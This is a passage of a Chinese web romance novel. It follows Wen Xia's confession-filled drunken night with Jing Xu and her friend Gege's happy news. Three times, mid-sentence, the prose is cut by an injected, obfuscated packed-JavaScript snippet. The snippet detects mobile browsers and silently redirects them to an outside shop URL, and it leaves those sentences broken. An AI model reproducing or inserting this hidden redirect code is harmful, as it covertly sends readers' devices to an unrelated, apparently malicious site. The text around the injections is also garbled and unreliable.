温夏头也不回地走出去很远才停下来,暗暗地呼着气,但还是忍不住回头看,景栩还有没有跟上来。 身后朱源松和陈湘,她松了口气的同时,也有些失落。 温夏的落荒而逃,也让朱源松看出了些端倪。 没等她开口问,陈湘先出声:“她喜欢人家,在人家面前跟人机残次品似的,总短路。” 都这会儿了,温夏对她们也没什么好隐瞒的。 今早她和格格聊过天,格格鼓励她主动出击。 甚至是怂恿,恨不得在她身边推她一把。 刚才抬头和景栩对视的瞬间,她心里“轰”的一声,像是烟花炸开。 她的某个念头,也在那一瞬间彻底炸开了。 有瓜要吃,朱源松和陈湘干脆找了个环境还不错的清吧,打算慢慢听。 温夏这次没藏着掖着,把自己少女时期的暗恋全盘托出。 她说那个沉郁夏天的遇见,说重逢那天的酸橘,说军训时的冰牛奶,说她偷偷藏起来的纸星星,说利口乐的冰川薄荷,说只有自己知道的一场又一场的日落…… 哪怕知道这场喜欢暗无天日。 也日复一日地坚持着。 她说。 “我在自己的世界里,反反复复爱了他好多次。” 她说这句话的时候,说不上是什么情绪。 只觉得胸口处有团棉花,堵得她一口气不上不下。 - 实习结束后就是开组会写论文,大四的许多人已经签了工作,从学校宿舍搬了出去,正式从象牙塔走向社会。 温夏的三个室友在此期间陆续也搬走,陈湘回了老家,朱源松的家就在堰青,直接搬回了家里。 两人说等五月论文答辩再回来。 孙洁妮是第一个搬走的,和陈湘吵架的第三天就走了。她搬走那天什么都没说,其余三人也什么都没问。 没人知道她去了哪里,之后有什么打算。 寝室里又只剩下了温夏一个人。 温夏以为自己早就习惯了冷清清的宿舍,可她们全部搬走前两天,她还是感到孤单和不舍。 好在她从小便学会如何适应离别,很快调整好自己的状态。 提交论文初稿那天,温夏收到了一份翻译助理offer。 最近短剧盛行,这家新媒体公司虽然成立不久,却势头正盛。从前两年就有发行海外短剧的计划,听说近期才开始落实。 这家公司的翻译部门急需人才,温夏海投时顺手投了,没想到一周前收到面试通知。今天交完论文初稿,收到了入职通知。 这段时间似无头苍蝇忙,和每个人的联系都被迫减少。 这会儿心里石头落地,她腾出一口气。 想起格格前几天给她打了电话,因为她太忙,没聊两句匆匆挂断,到现在也没再联系。 她躺在床上,给格格去了个电话。 格格那边很快接起,语调上扬:“夏夏我跟你说,我谈恋爱啦。” 温夏并不意外,但想起这么多年程聿都没行动,她还是惊讶了一下:“和程聿?” “你咋知道?” “……” 程聿喜欢格格并不是什么秘密,程聿在某种程度上,算得上不解风情。 但他对格格不一样,在格格面前,他行动永远在前面。尽管毒舌,但每件事都温柔细致,事事为她考虑。 但格格神经大条,在这种事上反应半慢拍。 温夏曾经以为,程聿在高考过后就会跟格格表白,但他没有。 他说,想等她去认识完更多的人之后,再选择他。 没想到这一等就拖到了大学快毕业。 每次温夏和格格聊天,聊得更多的一方总是格格。 这次也没例外,温夏和之前的每一次一样听她说。聊完和程聿的事儿后,两人又东扯西扯了一堆,格格说她最近很喜欢一个爱豆,只可惜没能成团出道。 然后,猝不及防间,格格话锋一转:“夏夏,他说他喜欢我很久很久了。但是……是我先喜欢他的。” 温夏听到这话,微微一顿。 她自诩了解格格,却一点都没察觉出来。 她一直以为,格格在感情方面总是不够敏锐。听格格这么说,温夏回忆起他们一起相处的点滴,似乎也有迹可循。 格格向来是个胆大的人,在程聿面前会变成咋咋呼呼的胆小鬼;格格是能躺着绝不坐着的人,却千里迢迢从辽城跑回树阳过暑假;她说过自己比较喜欢北方的城市,却在填报志愿时选了南方的学校…… 每一件事都是在把她的少女心事昭告天下,而他们一直自以为是地觉得,格格是个对感情反应迟钝的人。 沉默顺着电流蔓延开,温夏不知道说什么,正想着措辞,格格突然开口说:“夏夏,出来接我,我在青外东门。” 温夏震惊一瞬,“马上。” 她睡衣都没换,套了件外套就匆忙往东门跑去。 格格先看到她,冲她跑过来,把手放在她帽子底下:“冷死我了。” 温夏顺着格格扑过来的力道往前走:“怎么过来了。” “我也是临时决定的。”格格说话时有种独特的调子,“我太高兴了,我想过来和你喝酒。” 温夏转了个弯:“那我们先去超市。” 除了买酒,温夏还买了些饮料,之后又去买了些零食和熟食。 比起温夏,格格的酒量好得不是一星半点,温夏一口酒没沾,买的一打酒全进了格格肚子里。 格格喝了几口就和温夏聊起程聿。 聊着聊着靠在温夏怀里哭起来,然后又笑起来,再哭起来。 她把脸从温夏胸前抬起,瓮声瓮气问:“夏夏,我这样会不会很奇怪啊?可是,我真的觉得好幸福。” 温夏轻拍着她的背,没忍住也跟着她流泪:“不会。我的格格,就该这么幸福。” 格格抬手替她擦眼泪,自己的眼泪却更凶:“我的夏夏,也要快点幸福。” 算起来,她们很久没见。 各自有事要忙,但几乎每年至少会见一次面,每次见都会聊个通宵。 这次也不例外。 格格买了一早的高铁票,两人聊到天亮,温夏带她去吃了早餐,然后马不停蹄奔去车站。 每次送走格格,温夏都会站在原地看很久,等彻底看不见最后一节车厢才离开。 从高铁站出来,温夏遇到温悦。 温悦高考并不理想,分数不够上大学,高考结束那个暑假就进了厂,走了那个小县城大多数女孩子的旧路。 温夏已经很久没见她了,哪怕是大伯出车祸那次,她也没露过面。 她变化很大,化了很浓的妆,头发大概是很早之前染了酒红色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575532|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在长出了一大截黑发。 她大概没想到会遇到温夏,表情滞凝一瞬后立刻朝她走过来。 随着她越走越近,一股劣质廉价的香水味混着冷风扑向温夏。 “给我拿点钱。” 温悦毫无预兆地说了这句,说得极为理所当然。 温夏没打算理她,抬脚往前走却被她拦住:“你一直吃我家的住我家的,这是你欠我的。” 温夏看向她:“我想你搞错了。我欠了大伯和大伯母的,不欠你。” 温悦愣在原地,她没想到温夏会这么说,因为记忆里的温夏逆来顺受,无论被她怎么欺负,都默默承受。 等她回过神,温夏已经走出去好远。 温悦的出现,像是提醒着温夏那段晦暗的过去。 看到温悦的那一刻,她脑海里突然想起下初雪那晚,在第三盏路灯下的雪。 她和景栩明明隔的很远,却仍能感觉到纷纷扬扬飘下来的雪,融在他肩上。 而且那晚,好像只有他周围的雪融了。 温夏无力地扯扯唇角,笑自己莫名其妙地将两件毫无关联的事串联起来。 她回到学校后,戴上蓝牙耳机,在列表里添加了很多场强度不一的雨声,听着走了一圈又一圈。 不知道第几圈的时候,她感受到肩膀被人轻轻拍了拍。 她拿下右耳的耳机,转头,看到景栩。 他眼底含笑,极浅。 耳机好似突然发烫,烫得她耳尖红红。 她又变成了陈湘说过的那种人机残次品,不知道说什么,也不知道做什么。 好半晌后才问:“你来青外找宋陆鸣吗?” 景栩“嗯”了声,“本来约了吃饭,他临时被教授扣了,我想着来这儿转两圈等他,看到你过来打个招呼。” 走了会儿,景栩似乎没有要离开的意思。 她捏了捏手里的耳机,默了默,递给他:“你要听吗?” 景栩从她手心里捡起耳机,冰凉的指尖却好像将她的手心烫出一个洞。 温夏抬头,闯进她的眼睛里,看到他眼里倒映着的自己。有一瞬间,她以为回到了那年树阳的夏天。 景栩戴上耳机后,笑了:“还这么爱听雨声啊?” “嗯。” 他记得这件事。 温夏心里的调味瓶被打碎,各种感觉混杂在一起,一时分辨不出来到底是什么滋味。 两人并肩往前走,步调都很慢。 以往的温夏,听着雨声情绪就会沉静下来,可今天怎么都没办法平静。 像阳光下无休无止翻飞的灰尘。 而萦绕鼻尖的橡木苔味道,似乎就是搅动灰尘的元凶。 在田径场走完一圈,温夏对景栩说:“如果你有事就先走吧。” 她不知道为什么景栩拒绝了:“很久没有这么悠闲地散步了,再走走吧,不着急。” 没过几秒,温夏看到一个穿了白色羽绒服的姑娘追在一个黑色羽绒服的男生后面,“没关系,你现在不喜欢我,以后会喜欢的。” 她看着他们走远,脑海里突然冒出一句:爱是勇敢者的游戏。 温夏捏着衣角,脑海里循环播放格格鼓励她勇敢迈出第一步的那些话,和卢杭说的那句“勇敢到底吧”。 这两种声音在脑海里交织,在她完全理清前,停住脚步喊了景栩的名字。 33. 桃花酒 她喊完就停下,或许是她声音太小,景栩没察觉到,继续往前走。 走出去几步才发现她没跟上,停住脚步转身看她:“怎么了?” 此时天已经完全黑透,田径场只有入口处有一盏大灯,此时灯光昏暗,只有一缕微薄的光线贴在他侧脸上,眼睛稍下方的位置。 映得那双漆黑的眼发亮。 视线对上的瞬间下起了雨,温夏大脑一片空白。 她什么都没说,拉起景栩的袖子转身就跑,跑到了一个能避雨的屋檐下。 景栩把耳机还给她,思绪并未被突如其来的雨打扰到:“对了,你刚才想说什么?” 温夏:“……” 她避开他的视线,声音几乎快要被大雨淹过去:“我忘了。” 景栩扬起嘴角:“这样,那应该不是什么重要的事。” ”嗯。“ 雨突然大起来,还吹了阵风,雨丝偏离了原本的轨道朝他们扑过来。 景栩抬手帮她挡了一下,只是后面风和雨都越来越大,一只手没法儿挡,他侧头看了一眼,犹豫一秒后挪动脚步,整个身体罩在她前面,替她挡住了气势汹汹扑打过来的风雨。 两人距离因他这个举动而被瞬间拉近。 在他靠过来的那一瞬,温夏清晰地感受到独属于他的气息立刻霸道地侵占她的所有感官。 她抬头,视线正好和景栩撞上。 下一秒,她先移开了视线。 耳边尽是雨声,温夏的心跳和此时的雨声一样,杂乱又剧烈。 温夏手垂在两侧,她努力做出一副自然的模样,手却暗暗攥紧。 她一直低着头,没敢再抬起半分。 目光落在他鞋尖,上面沾了些湿泥。大概是刚才跑过来,经过绿植种植的地方时,不小心蹭到的。 她讨厌下雨。 但如果他在的话,她希望这样的时光可以再长些。 景栩比他高出整整一个头,眼睛稍稍往下垂能看到她的头顶。 不知道为什么,眼前浮现这姑娘玩架子鼓时的一幕。 张扬又自信,仿佛眉眼间都溢出光。 景栩忍不住回想她跟自己相处时,似乎总是一副温暾又小心翼翼的样子,温顺和气,完全没有锋芒。 还很容易害羞。 就连此刻,他垂眸就能看到她红透的耳尖。 景栩没来得及深想,思绪被一阵电话铃声打断。 宋陆鸣终于被教授放出来,刚走出办公室就给景栩打电话,问他现在在哪。 此时雨也停了,景栩退到和温夏并肩的位置:“和温夏在……” 他顿住,抬头看了眼才说出具体位置:“一号会议厅。” 宋陆鸣声音很大:“温夏也在啊?等着啊,我马上过来。” 挂断电话后,景栩问:“你吃过饭了吗,不介意的话,等会儿一起吧。” “如果你们方便的话。”温夏一向没办法拒绝景栩,哪怕她吃过了,哪怕景栩还没说他们要去哪里吃。 景栩笑起来:“有什么不方便的,都是吃顿饭。” 没多久宋陆鸣气喘吁吁过来了三人一起朝南门位置的停车场走去。 宋陆鸣今天换了一辆粉色SUV。 温夏印象里,每次见他,开的车都不同,就连车身颜色都有好几种。 景栩的车也是辆SUV,黑色,比宋陆鸣的低调许多。 吃饭的地儿是宋陆鸣定的,他先把车开了出去。 温夏正纠结着坐后座还是副驾,景栩就已经把副驾的门打开了。 刚上车,温夏就开始担心一路上要和他聊什么话题才不算尴尬,但好在车子开出停车场后他就开始放歌,气氛倒也还算融洽。 他们去的地方是一家私房菜馆。 在闹市区,装修似古代园林,一进门便是罕见的绿植,院子里有开了梅花,花香混杂着雨后湿泥微腥的味道萦绕在院子里。 侍者将他们带到二楼,窗户也是仿古的木格窗,此时半开着。 点菜全由宋陆鸣来,问了温夏有没有忌口,有没有比较爱吃的菜后,他就在菜单上大手一滑:“暂时就这些。” 没过几分钟,一名侍者端着托盘进来,托盘里是陶瓷酒瓶。 酒瓶里装的是桃花酒,是老板娘送给宋陆鸣的礼物。 因为宋陆鸣说这酒度数不高温夏也尝试着喝了一口。 酒香醇厚,口感和味道都像饮料,尝不出什么酒精味,温夏觉得这酒自己能喝,于是大着胆子喝了两杯。 马路对面有家超市,宋陆鸣说吃咸了想过去买瓶水。 三个人又一起去了超市,逛着逛着宋陆鸣不知道去哪了,就剩下景栩和温夏。 两人走到饮料区,手不约而同地伸向同一瓶可乐。 肌肤相碰的瞬间,温夏触电似的弹开了。 景栩一手拿了两瓶,贴心地递了一瓶给她。 刚才喝的酒好像上头了,她觉得有些晕。 稳住心神后,才伸手接过:“谢谢。” 结完账后,两人站在超市门口等。 等了几分钟没见到宋陆鸣,景栩才给他去了个电话。 宋陆鸣拉肚子,没来得及买纸就冲进了厕所。 他冲着景栩喊救命,让景栩给他送过去。 景栩半个字没多说挂断电话。 他看向温夏,动作极为自然地将手里的可乐递给她:“可能要麻烦你稍微等会儿。” “没关系,你快去吧。” “外面冷,进去等?” “好。” 两人重新走进超市,景栩买完纸后问了老板洗手间的位置,走之前又对温夏说了句不好意思。 景栩走后,温夏接了大伯母的电话。 一开口就是一顿训斥,然后温夏习以为常地听完了那些难听的话。大伯母骂完才说出打这通电话的目的:“悦悦管你要点钱怎么了?这些年你在我们家花的还少吗?!白眼狼,今晚你给悦悦转点过去,她要是冷着饿着,我饶不了你!” 一直没出声的温夏终于有了点反应:“知道了。” 挂断电话后,温夏立刻找到温悦的微信,给她转了两千块钱。 温夏身上剩下的钱不多,留了点必须的生活费,剩下的都给温悦转了过去。 对方秒领,但一句话都没说。 温夏也懒得管。 没多大会儿景栩出来,从温夏手里抽走了自己的可乐:“先去车上?” “不用,在这等他吧。”温夏说。 温夏拧开瓶盖,习惯性地看了一眼瓶盖内。 景栩看到她的小动作,“你也习惯看瓶盖啊。” 温夏被问得心虚,他的许多生活习惯和学习习惯渗透在她的生命里,到现在似乎造成了不可逆的影响。 顿了顿,她说了句模棱两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612647|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可的话:“时间长了就习惯了。” 景栩也拧开了自己手里的,然后看瓶盖内侧。 本来没抱中奖的希望,瞥一眼就准备盖上,没想到瞥到了“再来一瓶”的字眼。 得到意外的小幸运的景栩不自觉笑了起来,几分钟前还笼罩在温夏头顶的阴霾一扫而空。 她不自觉地也跟着笑起来。 一阵冷风灌进来,景栩重新盖好瓶盖,“走吧,去车上,先送你回去。” 温夏这会儿感觉头有点晕,点点头。 没走几步她感觉自己像是飘着的,脚似乎没有踏在实地上。 被冷风一吹,她意识到,可能是刚才喝的两杯桃花酒后劲上来了。 走到一盏路灯下,天上飘了雪。 温夏顿住脚步,抬头,脸上落了些雪花。 她侧头看景栩,眉眼弯弯地笑起来,“景栩,下雪了。” 景栩没察觉到任何不对劲,“好像每次下雪你都挺开心。” “算是吧。”温夏伸出手,试图接住雪花,“我想看雪,是因为你说堰青的雪很漂亮。也不是每次下雪我都会开心的,我开心,是因为你在。” 这些话听得景栩一愣。 温夏感觉大脑一片混沌,之后又像是被劈成两半。 一半理智地说现在还不是时候,有些话现在还不能说。 另一半则是叫嚣着活在当下。 在温夏还没彻底想明白时,脚步已经往景栩身边挪了。 她往他胸前靠,靠着就不动了,也不说话。 景栩忽然意识到,她可能是喝醉了。 清醒着的温夏,绝对不可能这么大胆,也绝不可能用那样的语调跟他说话。 景栩下意识想把她推开,却在行动的去按一秒却停了下来,然后笑得有些无奈:“温夏。” “嗯?” “酒醒了不许说我耍流氓。” 此时温夏话语里的醉意比刚才明显不少,轻柔低软,像是在撒娇:“你放心吧,我没喝醉。” 景栩眼底的笑意更深了些,附和着她:“嗯,没醉。” 说着,他抬手替她挡了即将落在她头顶的细雪。 她像是察觉到他的动作,抬起头:“这风好像有点冻手,你别挡了。” “冻了就冻了。” “哦,那随便你。” 景栩像是发现了新大陆。 喝醉的温夏。 挺不讲道理。 好像。 还有点可爱。 这么站着吹冷风不是办法,景栩轻声道:“上车了?” 温夏没说话,只是无声在在胸前蹭了蹭。 小猫似的。 景栩轻笑出声,问她:“你干嘛呢?” 他说话时总带着融雪的温柔。 温夏脑子里响起刚才大伯母尖锐刺耳的声音和那些难以入耳的话,有点委屈。 在很大程度上,景栩和大多数人比起来,算是少见的幸运者。 “我想……蹭蹭你身上的好运气。”她说话时嗓音似是染了雾,“希望下辈子也有很多很多人爱我。” 景栩隐约感觉她发生了什么事儿,想了想,把那个瓶盖拧下来:“那我把好运气送给你好不好?” 温夏从他怀里退出来,眼眶红红:“那你怎么办,我不想让你变倒霉。” 景栩把瓶盖递给她:“我分你一点没关系的。” 34. 不是梦 温夏很乖地将那个瓶盖收起来,即使她醉着,也将其小心翼翼地放在了口袋里。 景栩没来得及开口让她上车,她就又靠回来了。 景栩也不知道自己什么心理,居然也就任由她这么靠着。 不知道什么时候起,风雪越来越大,她几乎是整个人贴在他身上,像是找到一个暖炉。 这样下去不是办法,景栩连哄带骗让她上了车。 她一上车就睡着了。 车库几乎没有灯光,只有昏暗的几盏,他们上方正好有一盏,灯光透过车的挡风玻璃照射进来,正好落在了一块在她脸上。 似是睡的不舒服,睫毛轻颤,紧接着动了动脑袋,似乎找到了一个还算舒服的位置。 景栩靠近,帮她系好安全带。 他弯腰时离她比刚才还近,呼吸若有似无地交缠着,之前从来没有靠得这么近,现在他好像闻到独属于她的味道,像来自于发梢,很淡,好像空气稍微一浮动就立刻消失。 他看着她居然有一瞬的愣神。 几秒后景栩惊觉着眨眼,但还是温柔地替她系上安全带。 把温夏送到宿舍楼下时,她还没醒。 景栩拍了拍她的肩后轻声叫她:“温夏?” 喝醉的人美梦被打扰到,蹙了蹙眉,把脸侧到另一边了。 景栩没再叫她,想起吃饭时她说了一嘴最近总失眠,室友都不在,连个说话的人都没有。 她这个状态,就算把她叫醒了,他也不太放心让她一个人。 思忖几秒,他发动车子,将温夏带回了自己的住处。 到他家楼下时温夏倒是醒了,但仍醉着。 景栩搀着她,进了电梯。 她酒量不行,酒品倒好,不哭也不闹,连话都没几句,让她往哪走就往哪儿。 乖得有点危险。 景栩开了门,先把她扶到沙发上,开了空调,又折身回去在玄关处的柜子里拿了双新拖鞋回来。 他开了沙发旁的落地灯,窗帘没关,窗外是城市灯火,或明或暗,像夏夜里天上的星星。 他在她面前蹲下,动作温柔地替她换了鞋。 温夏这会儿来劲了,她看了一眼拖鞋后直接踢掉。 因为喝醉,她说话有些含糊不清:“鲸须,你这个拖鞋好丑,最讨厌这个颜色了,我不要穿。” 景栩听到自己的新名字,手搭在膝盖上看她:“那夏夏喜欢什么颜色?下次给你准备好,行不行?” “绿色。”温夏嘟囔着,也不知道她的话说给谁听,“我喜欢春天。” 景栩没多想:“行。” 景栩跟她商量:“那这次先将就着穿?” “看在你的面子上,我先勉为其难。” 说完,她自己弯腰,将拖鞋穿好了。 景栩把她带去了客卧,用热水给她擦了脸和手之后,又去了厨房给她泡了杯蜂蜜水。 文温夏靠在床头盯着门口看,不知道在看什么 景栩把蜂蜜水递给她:“喝了休息。” 温夏轻轻推开:“不想喝。” “不喝明天会难受,就喝一点成不?” 温夏盯着他看了两秒:“那你喂我。” 景栩看着她的样子,没忍住又笑了,笑得十分剧烈,肩膀微颤:“行。” 他在她身边坐下,把蜂蜜水一勺一勺喂进她的嘴里。 等喂完,景栩把杯子放在床头柜上,正想起来找纸巾给她擦一下嘴角,温夏忽然动了动,按着他的肩膀往下压,他就又坐了回去。 温夏慢慢挪到他跟前,半跪在床上,而后突然直起身体。这样一来,她突然比他高了半个头。 “看起来……”她猛然凑近,那股清香极为短促地扑在他脸上。她捧起他的脸仔细端详,几秒后目光停在他的唇瓣上,随后手指在他唇瓣上摩挲两下,“很适合接吻的样子。” “……” 景栩这次没再由着她,怕她真的会有下一步动作,所以在她说完这句话后立刻起身。 在与人相处时,他头一次暴露出慌张。 他起身后连连后退两步,“你该休息了,我先出去了。” 他说完就立刻关上门出去了。 说话时,他甚至没敢往温夏的方向看一眼。 回到房间后随便冲了个澡准备休息,但脑海里不断播放今晚温夏的反常。之后又想到温夏现在醉鬼一个,也不知道会不会出什么意外。 犹豫几秒,他还是起身去了客卧。 刚走到门口,手搭在门把手上,听到里面传来低低的啜泣声。 他一下慌了,没顾得上礼貌,直接推开门走了进去。 温夏没在床上,而是光着脚坐在地上,整个人蜷成一团。 看起来可怜极了。 景栩脑海里自动浮现出前几天下班回来时,在雨夜里无家可归的小猫。 那只小猫也是像她这样缩成一团,身体一颤一颤,看得人心疼。 他收留了那只小猫,给它取了名字。 可此刻,面对温夏的难过,他似乎无能为力。 他走到她身边坐下,温夏感受到他的存在,慢慢把头从膝盖间抬起,慢慢转头看向他,睫毛上还挂着泪珠。 这一眼看得景栩心里一紧。 那种感觉很难说得清楚,可能是替朋友着急,也可能是他一向能够共情别人的难过。 还有一抹极淡的情绪在他脑海一闪而过,却抓不住,说不清。 他情不自禁抬手替她擦眼泪,想说点什么安慰她,却发现自己根本无从开口。 房间内气氛安静,直到温夏哭着冲他嘤咛了声:“妈妈。” 说完她伸手环住他的脖颈,头深深埋进去。 下一秒,景栩就感觉到脖子传来湿意,沾在上面的眼泪滚烫得像是要灼伤他的肌肤。 景栩之前从外婆那儿了解了关于她的一些情况。据说她妈妈在她很小时就离开了,而她一直都表现得不在意。她从来不跟别人提起自己的父母,就好像她的生命里是不是有他们都无所谓。 所有人都以为她无所谓。 因为她坚强,勇敢,或许表面看起来她甚至可以说得上是冷漠。 原来不是这样。 她和所有小女孩一样,渴望有疼爱自己的妈妈。 景栩轻轻拍着她的背,短暂地扮演了“妈妈”的角色:“宝贝不哭。” 到后半夜她似是哭累了,靠在景栩肩膀上睡着了。 一双手紧紧抱住景栩的一条胳膊,好像这是漂浮在海里的她好不容易才抓住的希望。 景栩反手在床上抓了一条毯子盖在她身上,就这么让她枕了一晚上。 可能是睡得不舒服,又或者是温夏的生物钟太强大,反正她一早就醒来了。 醒来后看到眼前陌生的景象吓了一跳,处在惊魂未定的时候,又看到自己死死抱着景栩的胳膊,直接魂都给吓没了。 景栩这会儿闭着眼,她强迫自己冷静下来。 她太了解自己了,抱景栩这种事给她一万个胆子她都不敢。基于对自己深刻的认识,她在心里一遍又一遍告诉自己:“万一是梦呢?这一定是个梦……这绝对是个梦。” 说着说着她自己信了,然后打算验证一下。 她眼一闭心一横,直接在景栩手臂上使劲掐了一下。 景栩嘶了声,眼睛还没睁开,就已经疼得皱眉。 大脑反应了一秒,他睁开眼睛:“醒了?” “……” 看起来他很疼,所以……不是梦。 温夏脸在一瞬间红了个彻底,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678218|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑没法思考,只凭着这几年和陈湘插科打诨的本能胡说八道:“没醒。你也快闭上眼重睡。” 说完才意识到自己现在肯定像个白痴。 没想到景栩很配合:“你现在去客厅我就当你是今天早上才过来的,怎么样?” “……” 温夏思考两秒:“也行。” 温夏去了客厅没几分钟,景栩也跟着出来了。 他到了杯温水递给她:“早餐随便吃点?” 温夏端着水杯,指尖握得泛白。 虽然她不记得昨天发生了什么,但看今天早上的场景,她喝醉后应该不安分。 她主动道:“我请你吧。” “嗯?”走向厨房的景栩回头看她。 “昨天麻烦你了。” “现在太早了,外面冷,你想出去吗?”景栩问。 “要不冰箱里有东西吗,早餐就我来做吧。” 景栩知道她不喜欢欠别人,没跟她抢着做:“应该还有点鸡蛋和午餐肉,牛奶应该也还有。不着急,你先洗漱。” “好。” “洗手间的明黄色那个柜子里有新的洗漱用品。” 景栩说完,走到厨房打开冰箱,把里面能用到的食材拿出来。 而后又拿了牛奶,倒了两杯加热后端了出去。 等温夏洗漱完,他已经把早餐做好了。 整个早餐过程气氛都十分尴尬。 因为刚才洗漱的时候,昨晚发生的事儿挤牙膏似的挤在了脑海里,且每一帧都无比清晰。清晰得像是把她公开处刑了一遍。 她简直想一头撞死在牙膏上。 她没想到喝醉的自己那么胆大妄为。跟个莽夫一样,把一切都抛之脑后,只顾当时得爽快。 现在好了。 没脸见人了。 吃早餐的整个过程,她都没敢抬一下头。 狼吞虎咽地吃完,立刻起身,然后不带一丝停顿地说:“昨天晚上麻烦你了谢谢你今天的早餐我还有事儿就先走了你不用送我了地铁挺方便的下次请你吃饭再见。” 她说完就跑,就好像景栩是什么豺狼虎豹一样。 景栩要去端牛奶的手滞在半空,反应过来后笑了一下。 他慢悠悠的拿出手机给她发消息:“楼下等会儿我,送你回去,这个点这个地儿不好打车。” 温夏出了电梯后脚步不自觉加快,看到消息时景栩已经出现在她身后了。 她硬着头皮上了车,然后迅速调整状态。 只要她不说,景栩就不知道她全都记得,那么气氛就还没到特别尴尬的地步。 这么想着,她转头看景栩:“放首歌吧?” 说完,她视线不自觉地瞥向景栩的嘴唇,然后无意识地咽了咽口水。 景栩看她一眼:“看什么呢?” 温夏僵硬地收回视线,神色变得不自然,整个人往下滑了点,然后拉起围巾罩住了整张脸。 下一秒传来她闷闷的声音:“没什么。” 景栩侧头看过来,看到没被发丝藏好的微红耳尖。 温夏的脸一直没再露出来过。 一直到景栩提醒她快到青外了。 她让景栩在南门停车。 车子刚停稳,她就立刻解了安全带逃似的下了车。 她没想到会被景栩叫住:“夏夏。” 她回头,脸上闪过一丝不可置信。 景栩解释道:“我们应该算朋友吧?我听你朋友都这么叫你。” 温夏憋了两秒只好说一句:“谢谢你送我回来,你回去路上注意安全。” 说完她刚想转身,景栩又叫了她一次。 她再度看向他:“怎么了?” “下次请我吃饭……”景栩说,“下次,是什么时候?” 35. 六便士 景栩回去的路上,等第二个红灯的时候,想起刚才温夏说完“我微信通知你”后逃跑的背影,无声扬起嘴角。 他其实完全不用问的。 但她下车后,大脑未经思考就问出来了。 现在仔细一想。 他觉得自己。 好像。 是在期待着跟她的下次见面。 - 温夏上楼后心跳一直平稳不下来,脑海又循环播放着昨天和今天发生的一切,一帧比一帧清晰,到最后脑子居然自动放大和慢放一些细节。 大脑不受控制地想,景栩的嘴唇摸起来真软…… 意识到自己想了些乱七八糟的,她在原地生无可恋地转了几个圈,停在镜子前指着镜子中的自己严肃道,“温夏啊,你在干什么!不准想这些有的没的,听见没有?” 两秒后:“看吧,温同学的自制力还是不错的。” 十秒后:“说不想就不想。” 一分钟后:“根本没办法不想。” 两分钟后:“太尴尬了。” 真!的!太!尴!尬!了! 她还是想一头撞死在牙膏上。 - 从那天之后,两人就没再联系过。 温夏的实习生活十分忙碌,需要学习的东西很多,实习生的杂活也多,每天几乎腾不出什么时间来做其他事。甚至面试时谈好的双休,温夏也没体验过。 她猜测景栩也很忙,之前好像总能看到他来青外找宋陆鸣,从那天之后就没再见到过他。 温夏偶尔闲暇,也会对着手机里和景栩的聊天框发呆。 她不是没想过约景栩吃饭,但想出的无数理由似乎都不太过关。 他不主动联系,她不敢联系。 在那一天,两人的关系似乎有出乎意料的进展。 但也是在那一天,他们的关系也就此停滞。 景栩的确很忙。 工作室最近接了市实验高中新校区图书馆设计的活儿,最近忙着和校方接洽。充分了解完校方的需求后,景栩和工作室的同事冒着冷风实地勘察了几天。 这天实地勘察结束才中午,景栩没吃午饭,直接去了停车的地方,想开车回家休息。 这几天几乎都在高强度工作,现在闲下来,脑子就活跃了。 刚坐上车,安全带还没来得及系,他听到温夏的声音:“景栩,放首歌吧。” 他往副驾的位置看去,发现那个位置空荡荡。 他愣了一下没多想,只觉得是自己确实得好好休息了,都出现幻听了。 这么想着,他不自主地打开手机想看看有没有新消息。 他记得那天温夏说,“下次”不会太远。 手机上新消息倒是挺多,但他往下滑了会儿才找到温夏。 从那天过后,温夏一直没联系过他。 他心里极快地闪过一抹情绪,却来不及察觉。 回家的路上经过了一家木工手作坊。 这家店在车窗外一晃而过,景栩本来没怎么在意,但在车开出去几分钟后,他在路口转弯,折了回来。 停好车,走到店门口时,推门的手却凝滞了一瞬。 他居然折回来了。 为什么呢? 大概是因为他把车开出去几分钟后,脑海里莫名闪过那晚温夏哭得眼眶红红的模样,在大脑做出决策前,他就已经打了方向盘转弯了。 景栩推门进去,立刻有人上前:“欢迎光临。先生,您之前有过做木手工的经验吗?” 他倒是常常跟各种木材打交道,但做这种小手工,还是第一次。 于是他摇摇头:“没有。” 店员把他带到一张又长又宽的木桌前,上面摆满了各式各样的美工刀和各种木材,最旁边的地方摆着砂纸和夹具。 没过多久,一个带着画家帽的男人过来:“你想要做什么类型的手工呢?对于选材有想法吗?” 景栩很少有被问住的时候,但此刻他有些回答不上来。 因为他确实没想好要做什么。 他想不到可以做什么,片刻后起身表示歉意:“不好意思。” 画家帽微微一笑:“欢迎下次光临。” 这事儿只是一个小插曲,景栩并未放在心上。 回到家,他随便冲了个澡后倒头就睡。 